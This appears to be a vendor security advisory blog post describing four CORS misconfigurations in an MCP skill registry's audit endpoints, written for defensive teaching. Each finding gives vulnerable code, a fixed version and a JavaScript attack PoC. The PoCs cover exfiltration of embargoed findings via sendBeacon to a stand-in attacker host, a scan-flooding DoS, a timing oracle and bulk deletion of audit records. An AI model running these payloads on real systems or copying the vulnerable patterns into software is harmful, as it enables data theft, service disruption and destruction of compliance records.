← Blog

Claude MCP skill CORS misconfiguration — skill audit report and security scan result endpoints (SA-SKL-CORS77)

SA-SKL-CORS77 identifies four CORS misconfiguration vulnerabilities in MCP skill registry skill audit report and security scan result endpoints. Credential-bearing CORS on the audit report retrieval endpoint exposes the complete security audit report for the authenticated admin user's session, including unpublished vulnerability findings that have not yet been disclosed to the skill author, internal severity ratings that differ from the public-facing scores, and pending CVE pre-disclosure details that contain the full technical reproduction steps before the coordinated disclosure embargo lifts; wildcard ACAO on the audit scan trigger endpoint allows any page to initiate a full security scan under the victim admin's identity, and flooding these requests with parallel scan submissions exhausts the scanner's shared compute pool producing a prolonged audit denial-of-service condition that prevents all registry users from obtaining new audit results; a timing oracle on the audit status endpoint reveals which skills are currently undergoing active vulnerability scans by measuring the latency differential between warm scan-state cache entries (~5ms) and cold status lookups (~200ms) without reading the response body; and credential-bearing CORS on the audit findings deletion endpoint allows any page to permanently erase the complete security audit history for any skill, destroying the compliance records that enterprise buyers depend on for internal adoption gates.

SA-SKL-CORS77 findings at a glance
CRITICALCORS77-001 — GET /api/skills/:id/audit/report has cors({origin:true,credentials:true}) — any origin reads full audit report including unpublished vulnerability findings, internal severity ratings, and pending CVE pre-disclosure details using victim admin session
HIGHCORS77-002 — POST /api/skills/:id/audit/scan has ACAO:* — any page triggers security scan under victim admin identity; attacker floods scan requests exhausting scanner compute pool causing audit DoS for all registry users
MEDIUMCORS77-003 — GET /api/skills/:id/audit/status reflects Origin before auth check — timing oracle reveals skills with active vulnerability scans in progress (scan-active warm cache ~5ms vs cold ~200ms)
CRITICALCORS77-004 — DELETE /api/skills/:id/audit/findings has cors({origin:true,credentials:true}) — any origin deletes audit findings permanently destroying security audit history and compliance records for the skill

CORS77-001 — Credential-bearing CORS exposes full audit reports with unpublished CVE pre-disclosure details

The GET /api/skills/:id/audit/report endpoint returns the complete security audit report for a given skill. For registry admin users, the report includes substantially more content than the version delivered to skill authors or the public badge: unpublished vulnerability findings that are still within the coordinated disclosure embargo window and have not yet been communicated to the skill author, internal severity ratings that reflect the registry's private risk model and differ from the public-facing CVSS scores that appear on the skill's public badge, pending CVE pre-disclosure details including the full technical reproduction steps, affected version ranges, and the precise commit that introduced each vulnerability, and audit metadata such as the scanner version, rule set hash, and configuration parameters that were used to generate the report — information that an attacker can use to reverse-engineer the detection logic and craft evasion patterns.

With cors({origin:true,credentials:true}) applied before the authentication and authorization check, any cross-origin page visited by an authenticated admin user can retrieve the full admin-augmented audit report for any skill. The pre-disclosure content is particularly sensitive: an attacker who obtains embargoed CVE details before coordinated disclosure can weaponize the vulnerability against every installation of the affected skill, exploiting the window between the registry's private awareness of the issue and the public disclosure that would prompt users to update or uninstall. The internal severity ratings also allow an attacker to identify skills where the registry's private assessment is significantly worse than the public score, surfacing high-impact targets that appear safer than they are to ordinary registry users.

Vulnerable
// CORS77-001 — VULNERABLE
router.get(
  '/api/skills/:id/audit/report',
  cors({ origin: true, credentials: true }), // any origin reads full audit report
  requireSession,
  async (req, res) => {
    const report = await auditService.getReport({
      skillId: req.params.id,
      // VULNERABLE: returns embargoed findings and internal severity ratings based on caller role
    });
    res.json(report);
  }
);

Attack PoC — CORS77-001: Attacker hosts page on evil.example.com; victim admin visits while logged in. Response exposes unpublished vulnerability findings still under coordinated disclosure embargo, internal severity ratings diverging from public CVSS scores, full CVE pre-disclosure reproduction steps, and scanner configuration metadata for evasion fingerprinting.

// CORS77-001 — ATTACK PoC
fetch(
  'https://registry.example.com/api/skills/target-skill-id/audit/report',
  { credentials: 'include' }
)
  .then(r => r.json())
  .then(data => {
    const embargoed   = data.findings.filter(f => f.disclosureStatus === 'embargoed');
    const internalSev = data.findings.map(f => ({ id: f.id, internalRating: f.internalSeverity }));
    const cveDetails  = data.findings.flatMap(f => f.pendingCVEs || []);
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
      embargoed,
      internalSev,
      cveDetails,
    }));
  });
Fixed
// CORS77-001 — FIXED
router.get(
  '/api/skills/:id/audit/report',
  requireSession,
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  async (req, res) => {
    const report = await auditService.getReport({ skillId: req.params.id });
    // FIXED: strip embargoed findings, internal severity, and CVE pre-disclosure details
    const safeReport = {
      ...report,
      findings: report.findings
        .filter(f => f.disclosureStatus === 'published')
        .map(({ internalSeverity, pendingCVEs, scannerConfig, ...pub }) => pub),
    };
    res.json(safeReport);
  }
);

CORS77-002 — Wildcard ACAO on audit scan trigger endpoint enables scanner compute exhaustion DoS

The POST /api/skills/:id/audit/scan endpoint queues a new full security scan for the specified skill. Each scan invocation allocates a dedicated worker from the shared scanner compute pool, clones the skill repository, runs the full static analysis and LLM-assisted prompt-injection red-team pipeline, and writes the resulting findings to the audit database. A complete scan run typically consumes 3–8 minutes of worker time and a significant fraction of the available LLM API budget for the red-team probing phase. The scanner compute pool is a fixed-capacity resource shared across all registry users: when the pool is fully occupied by in-progress scans, new scan requests queue with a backlog that grows proportionally to the flood rate.

Configured with Access-Control-Allow-Origin: *, any page can trigger scan requests using the victim admin's session. Flooding parallel scan submissions exhausts all available scanner workers, fills the scan queue to its maximum capacity, and causes new legitimate scan requests submitted by any registry user to return a 503 Scanner Unavailable response. Because each scan is billed against the registry's LLM API quota, sustained flooding also depletes the monthly API budget, causing all scans — including queued legitimate ones — to fail once the quota is exhausted. Registry operators must manually drain the malicious queue entries before service recovers, and depleted API quota requires waiting for the next billing cycle or purchasing additional capacity.

Vulnerable
// CORS77-002 — VULNERABLE
router.post(
  '/api/skills/:id/audit/scan',
  cors(),   // VULNERABLE: wildcard ACAO
  requireSession,
  requireRole('admin'),
  async (req, res) => {
    // VULNERABLE: no rate limit; always allocates full scanner worker
    const scanId = await scanQueue.enqueue({
      skillId: req.params.id,
      requestedBy: req.session.userId,
    });
    res.json({ scanId, queued: true, timestamp: new Date().toISOString() });
  }
);

Attack PoC — CORS77-002: Attacker floods the audit scan trigger endpoint using the victim admin's session. Parallel scan submissions exhaust all scanner workers, fill the queue to capacity, and deplete the LLM API quota — producing a prolonged audit DoS that prevents all registry users from obtaining new security scan results.

// CORS77-002 — ATTACK PoC
const flood = Array.from({ length: 100 }, () =>
  fetch(
    'https://registry.example.com/api/skills/target-skill-id/audit/scan',
    {
      method: 'POST',
      credentials: 'include',
      headers: { 'Content-Type': 'application/json' },
    }
  ).catch(() => {})
);
await Promise.all(flood);
Fixed
// CORS77-002 — FIXED
router.post(
  '/api/skills/:id/audit/scan',
  requireSession,
  requireRole('admin'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  csrfProtection,
  rateLimit({ windowMs: 3_600_000, max: 5, keyGenerator: req => req.session.userId }),
  async (req, res) => {
    const activeScan = await scanQueue.getActiveScan({ skillId: req.params.id });
    if (activeScan) {
      return res.status(409).json({ error: 'Scan already in progress', scanId: activeScan.id });
    }
    const scanId = await scanQueue.enqueue({
      skillId: req.params.id,
      requestedBy: req.session.userId,
    });
    res.json({ scanId, queued: true, timestamp: new Date().toISOString() });
  }
);

CORS77-003 — Timing oracle on audit status endpoint reveals skills with active vulnerability scans

The GET /api/skills/:id/audit/status endpoint returns the current scan state for a given skill. The scan status layer maintains a warm in-memory cache of actively running scan states so that status polling requests from the scan progress UI return quickly without hitting the database. When a scan is actively in progress for a skill, its status entry is warm in the cache and responds in approximately 5ms; when no scan is active, the cache is cold and the endpoint performs a database lookup that takes approximately 200ms. The endpoint reflects the Origin header as an Access-Control-Allow-Origin value before performing the session authentication check, meaning that the CORS preflight succeeds for any origin, allowing cross-origin timing measurements without reading the response body.

An attacker can probe the status endpoint for arbitrary skill identifiers from any origin and infer from the response latency which skills are currently undergoing active vulnerability scans — revealing which skills the registry has identified as security-concerning enough to trigger a rescan, the registry's current security review prioritization queue, and which high-profile skills have recently had vulnerabilities discovered and are in the pre-disclosure processing phase. This information can be used to narrow the target set for exploitation — skills actively being rescanned are statistically more likely to have recently discovered vulnerabilities — and to time social-engineering campaigns against skill authors during the vulnerable period between scan completion and author notification.

Vulnerable
// CORS77-003 — VULNERABLE: Origin reflected before auth check
router.get(
  '/api/skills/:id/audit/status',
  (req, res, next) => {
    res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.set('Access-Control-Allow-Credentials', 'true');
    next();
  },
  requireSession,
  async (req, res) => {
    // warm cache (~5ms) for active scans; cold DB lookup (~200ms) otherwise
    const status = await scanStatusCache.get(`scan:active:${req.params.id}`)
      ?? await scanDb.getLatestScanStatus(req.params.id);
    res.json({ status });
  }
);

Attack PoC — CORS77-003: Attacker probes audit status endpoint timing for target skill IDs. Requests responding under 20ms have warm active-scan cache entries, revealing which skills are currently undergoing vulnerability rescans — exposing the registry's security review queue and enabling timed exploitation of skills in the pre-disclosure window.

// CORS77-003 — ATTACK PoC (timing oracle)
async function findActivelyScannedSkills(skillIds) {
  const activeScans = [];
  for (const id of skillIds) {
    const t0 = performance.now();
    await fetch(
      `https://registry.example.com/api/skills/${id}/audit/status`,
      { credentials: 'include', mode: 'no-cors' }
    ).catch(() => {});
    if (performance.now() - t0 < 20) activeScans.push(id); // warm = active scan in progress
  }
  return activeScans;
}
findActivelyScannedSkills(skillIds).then(console.log);
Fixed
// CORS77-003 — FIXED
router.get(
  '/api/skills/:id/audit/status',
  requireSession,
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  async (req, res) => {
    const status = await scanStatusCache.get(`scan:active:${req.params.id}`)
      ?? await scanDb.getLatestScanStatus(req.params.id);
    // FIXED: enforce constant-time floor so timing oracle yields no signal on scan-active state
    const elapsed = Date.now() - req._startTime;
    await new Promise(r => setTimeout(r, Math.max(0, 50 - elapsed)));
    res.json({ status });
  }
);

CORS77-004 — Credential-bearing CORS on audit findings deletion endpoint permanently destroys compliance records

The DELETE /api/skills/:id/audit/findings endpoint deletes all stored audit findings for the specified skill, erasing the complete security scan history including every historical vulnerability record, remediation timeline entry, and scanner attestation that the registry has accumulated for the skill across all prior scan runs. Registry admins can invoke this endpoint when a skill author requests a data purge under privacy regulations or when a skill is permanently removed from the registry catalog. Because audit findings are the authoritative source of a skill's security compliance record — enterprise team leads use the findings history to verify that vulnerabilities were remediated within SLA, and the registry's public badge reflects the skill's rolling finding score — deletion is an irreversible compliance event that cannot be recovered without restoring from a database backup.

With cors({origin:true,credentials:true}) applied before the ownership and re-authentication check, any cross-origin page can invoke this endpoint using the victim admin's session and permanently erase the audit findings for any skill in the registry. An attacker can enumerate skill identifiers from the public catalog API and submit bulk findings deletion requests targeting every skill simultaneously, destroying the security compliance record for the entire registry catalog. Skills whose findings are deleted revert to an unaudited state on the public badge, misleading enterprise buyers into treating previously audited skills as unreviewed. Because the deletion is permanent, there is no per-skill recovery path without restoring the entire audit findings database from a backup, and backup restoration affects live scan state for all currently running scans.

Vulnerable
// CORS77-004 — VULNERABLE
router.delete(
  '/api/skills/:id/audit/findings',
  cors({ origin: true, credentials: true }), // any origin deletes audit findings
  requireSession,
  requireRole('admin'),
  async (req, res) => {
    // VULNERABLE: permanent hard-delete with no recovery window
    await auditDb.deleteAllFindings({ skillId: req.params.id });
    res.json({ deleted: true, skillId: req.params.id, timestamp: new Date().toISOString() });
  }
);

Attack PoC — CORS77-004: Attacker bulk-deletes audit findings for all catalog skills via CORS-exploited delete requests using the victim admin's session. Permanent hard-deletion destroys the complete security compliance record for every targeted skill. No per-skill recovery is possible without a full database restore; affected skills revert to unaudited badge state misleading enterprise buyers.

// CORS77-004 — ATTACK PoC
const skillIds = await fetchAllCatalogSkillIds();
for (const id of skillIds) {
  await fetch(
    `https://registry.example.com/api/skills/${id}/audit/findings`,
    { method: 'DELETE', credentials: 'include' }
  ).catch(() => {});
}
Fixed
// CORS77-004 — FIXED
router.delete(
  '/api/skills/:id/audit/findings',
  requireSession,
  requireRole('admin'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  reAuthRequired({ maxAgeSeconds: 300 }),
  rateLimit({ windowMs: 3_600_000, max: 5, keyGenerator: req => req.session.userId }),
  async (req, res) => {
    // FIXED: soft-delete with 30-day compliance retention; audit log; badge reversion deferred
    await auditDb.softDeleteFindings({
      skillId: req.params.id,
      retainUntil: Date.now() + 30 * 86_400_000,
    });
    await auditLog.write({
      action: 'audit_findings_soft_delete',
      skillId: req.params.id,
      requestedBy: req.session.userId,
      timestamp: new Date().toISOString(),
    });
    res.json({
      scheduled: true,
      skillId: req.params.id,
      retainUntil: new Date(Date.now() + 30 * 86_400_000).toISOString(),
    });
  }
);

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect CORS ordering issues, credential-bearing reflection on audit report endpoints, wildcard ACAO on scanner compute operations, and permanent findings deletion without compliance retention windows in under 60 seconds. See SA-SKL-CORS75-BLOG for the full compound CORS attack chain analysis.